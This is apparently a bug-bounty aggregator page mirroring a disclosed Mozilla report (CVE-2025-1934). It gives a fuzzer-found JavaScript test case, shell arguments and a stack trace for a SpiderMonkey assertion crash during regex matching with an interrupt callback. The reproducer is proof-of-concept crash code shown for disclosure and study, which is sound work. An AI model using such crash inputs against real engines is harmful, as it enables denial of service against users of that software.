Skip to content
DoS Disclosed report Advanced CVE-2025-1934

Assertion failure: !cx->suppressGC, at js/src/vm/Interpreter.cpp:463

A crafted JavaScript test case triggers an assertion failure in the SpiderMonkey engine, specifically when an interrupt callback runs during regular expression matching while garbage collection is suppressed. An attacker could potentially cause a denial of service by crashing the engine.

Nils Bars Follow

Originally disclosed on Mozilla

  • Fixed in 14 days
  • Paid in 15 days
  • Disclosed after 14 days

Steps to reproduce:

Version: d55e89d48a8053ce45a74b0ec92c0ff6a9dcc43d Args: js --fuzzing-safe --fast-warmup <test-case> Test case:

for (a = 0; ; a++) {
    for (b = true; b; b = !inIon())
        c = 0
    function d() {
        if (c++ < 10)
            interruptIf(true)
        return true
    }
    setInterruptCallback(d)
    d()
    const e = "".substring().match("0*[]")
    if (a >= 50)
        e.f
}

Actual results:

Assertion failure: !cx->suppressGC, at /home/user/fuzzilli-ng/targets/spidermonkey/src/js/src/vm/Interpreter.cpp:463

#0 0x55b27a2da39c in js::RunScript(JSContext*, js::RunState&) js/src/vm/Interpreter.cpp:463:3
#1 0x55b27a2db75b in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) js/src/vm/Interpreter.cpp:660:13
#2 0x55b27a2dd84a in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>, js::CallReason) js/src/vm/Interpreter.cpp:727:8
#3 0x55b27a49fa9f in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) js/src/vm/CallAndConstruct.cpp:55:10
#4 0x55b27a1ec3a2 in ShellInterruptCallback(JSContext*) js/src/shell/js.cpp:1158:16
#5 0x55b27a834dad in InvokeInterruptCallbacks(JSContext*) js/src/vm/Runtime.cpp:393:10
#6 0x55b27a834dad in HandleInterrupt(JSContext*, bool) js/src/vm/Runtime.cpp:430:12
#7 0x55b27a834dad in JSContext::handleInterrupt() js/src/vm/Runtime.cpp:502:12
#8 0x55b27a82b2b3 in js::RegExpShared::execute(JSContext*, JS::MutableHandle<js::RegExpShared*>, JS::Handle<JSLinearString*>, unsigned long, js::VectorMatchPairs*) js/src/vm/RegExpObject.cpp:804:14
#9 0x55b27a2d088a in ExecuteRegExpImpl(JSContext*, js::RegExpStatics*, JS::MutableHandle<js::RegExpShared*>, JS::Handle<JSLinearString*>, unsigned long, js::VectorMatchPairs*) js/src/builtin/RegExp.cpp:330:7
#10 0x55b27a2d088a in ExecuteRegExp(JSContext*, JS::Handle<JSObject*>, JS::Handle<JSString*>, int, js::VectorMatchPairs*) js/src/builtin/RegExp.cpp:1432:7
#11 0x55b27a2b999c in RegExpMatcherImpl(JSContext*, JS::Handle<JSObject*>, JS::Handle<JSString*>, int, JS::MutableHandle<JS::Value>) js/src/builtin/RegExp.cpp:1454:7
#12 0x55b27b31dc54 in js::jit::RRegExpMatcher::recover(JSContext*, js::jit::SnapshotIterator&) const js/src/jit/Recover.cpp:1834:8
#13 0x55b27b9dea6c in js::jit::SnapshotIterator::computeInstructionResults(JSContext*, js::jit::RInstructionResults*) const js/src/jit/JitFrames.cpp:2270:29
#14 0x55b27b9dc9a9 in js::jit::SnapshotIterator::initInstructionResults(js::jit::MaybeReadFallback&) js/src/jit/JitFrames.cpp:2223:12
#15 0x55b27b27a2e2 in js::jit::BailoutIonToBaseline(JSContext*, js::jit::JitActivation*, js::jit::JSJitFrameIter const&, js::jit::BaselineBailoutInfo**, js::jit::ExceptionBailoutInfo const*, js::jit::BailoutReason) js/src/jit/BaselineBailouts.cpp:1646:17
#16 0x55b27b279975 in js::jit::Bailout(js::jit::BailoutStack*, js::jit::BaselineBailoutInfo**) js/src/jit/Bailouts.cpp:146:7
#17 0x3e98d04073e1  (<unknown module>)

The original report as published on Mozilla's Bugzilla, by Nils Bars. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

What the attacker needed

Ability to run JavaScript in SpiderMonkey

How it was found

  1. Run the JavaScript shell with the provided arguments and test case.
  2. The test case sets up an interrupt callback and a loop that triggers regular expression matching.
  3. The interrupt callback is invoked during the regular expression operation, leading to the assertion failure.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report shows a bug in a JavaScript engine (SpiderMonkey) where a specially crafted script causes the program to crash with an internal error message. The crash happens because the engine's internal state becomes inconsistent when an interrupt callback is triggered during a regular expression operation. For a user, this could mean a website or application using that engine might unexpectedly close or stop working.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by Nils Bars

View all

9 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.